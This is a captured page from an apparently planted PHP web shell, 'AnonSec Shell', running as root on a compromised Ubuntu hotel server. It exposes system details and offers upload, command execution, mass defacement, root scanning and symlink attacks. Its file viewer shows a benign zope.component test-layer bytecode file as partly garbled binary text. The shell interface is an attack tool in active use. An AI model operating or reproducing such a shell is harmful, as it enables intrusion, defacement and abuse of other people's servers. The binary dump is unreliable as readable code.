AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/component/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/component/__pycache__/testlayer.cpython-310.pyc
o

,�WX�@s�ddlZddlmZmZzddlmZWn
ey!dd�ZYnwddlmZddl	m
Z
ddlmZm
Z
Gd	d
�d
e�ZGdd�de�ZGd
d�de�ZdS)�N)�	xmlconfig�config��cleanUpcC�dS�N�rrr�:/usr/lib/python3/dist-packages/zope/component/testlayer.pyr�r)�provideHandler)�setHooks)�events�clearEventsc@s>eZdZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�	LayerBasea�Sane layer base class.

    zope.testing implements an advanced mechanism so that layer setUp,
    tearDown, testSetUp and testTearDown code gets called in the right
    order. These methods are supposed to be @classmethods and should
    not use super() as the test runner is supposed to take care of that.

    In practice, this mechanism turns out not to be useful and
    overcomplicated.  It becomes difficult to pass information into
    layers (such as a ZCML file to load), because the only way to pass
    in information is to subclass, and subclassing these layers leads
    to a range of interactions that is hard to reason about.

    We'd rather just use Python and the super mechanism, as we know how
    to reason about that. This base class is a hack to make this
    possible.

    The hack requires us to set __bases__, __module__ and
    __name__. This fools zope.testing into thinking that this layer
    instance is a class it can work with.

    It'd be better if zope.testing just called a minimal API and
    didn't try to be fancy. Fancy layer inheritance mechanisms can
    then be implemented elsewhere if people want to. But unfortunately
    it does implement a fancy mechanism and we need to fool it.
    rNcCs(|dur|jj}||_|j|_||_dSr)�	__class__�__name__�
__module__�package)�selfr�namerrr	�__init__;s

zLayerBase.__init__cCrrr�rrrr	�setUpBr
zLayerBase.setUpcCrrrrrrr	�tearDownEr
zLayerBase.tearDowncCrrrrrrr	�	testSetUpHr
zLayerBase.testSetUpcCrrrrrrr	�testTearDownKr
zLayerBase.testTearDownr)
rr�__qualname__�__doc__�	__bases__rrrrrrrrr	rs
rcsBeZdZdZd
�fdd�	Zdd�Zdd�Zd	d
�Zdd�Z�Z	S)�
ZCMLLayerBasez%Base class to load up some ZCML.
    Ncs tt|��||�|pg|_dSr)�superrr�features)rrrr!�rrr	rQszZCMLLayerBase.__init__cCsJt�t��}t�|�|jD]}|�|�q|�|�|_t	t
jd�dS)Nr)rr�ConfigurationMachiner�registerCommonDirectivesr!�provideFeature�
_load_zcml�contextrr
�append)rr'�featurerrr	rUs

zZCMLLayerBase.setUpcC�
t�dSr)rrrrr	r^�
zZCMLLayerBase.testTearDowncCr*rrrrrr	rar+zZCMLLayerBase.tearDowncCst�r)�NotImplementedError�rr'rrr	r&dr
zZCMLLayerBase._load_zcml)NN)
rrrrrrrrr&�
__classcell__rrr"r	rNs	rcs.eZdZdZ		d�fdd�	Zdd�Z�ZS)	�
ZCMLFileLayera8This layer can be used to run tests with a ZCML file loaded.

    The ZCML file is assumed to include sufficient (meta)configuration
    so that it can be interpreted itself. I.e. to create a ZCMLLayer
    based on another ZCMLLayer's ZCML, just use a ZCML include
    statement in your own ZCML to load it.
    �
ftesting.zcmlNcs2tt|��|||�tj�tj�|j�|�|_dSr)	r r/r�os�path�join�dirname�__file__�	zcml_file)rrr6rr!r"rr	ros
�zZCMLFileLayer.__init__cCstj|j|j|dd�S)NT)rr'�execute)r�filer6rr-rrr	r&us�zZCMLFileLayer._load_zcml)r0NN)rrrrrr&r.rrr"r	r/gs�r/)r1�zope.configurationrr�zope.testing.cleanupr�ImportError�zope.componentr�zope.component.hooksr�zope.component.eventtestingr
r�objectrrr/rrrr	�<module>s�1

Anon7 - 2022
AnonSec Team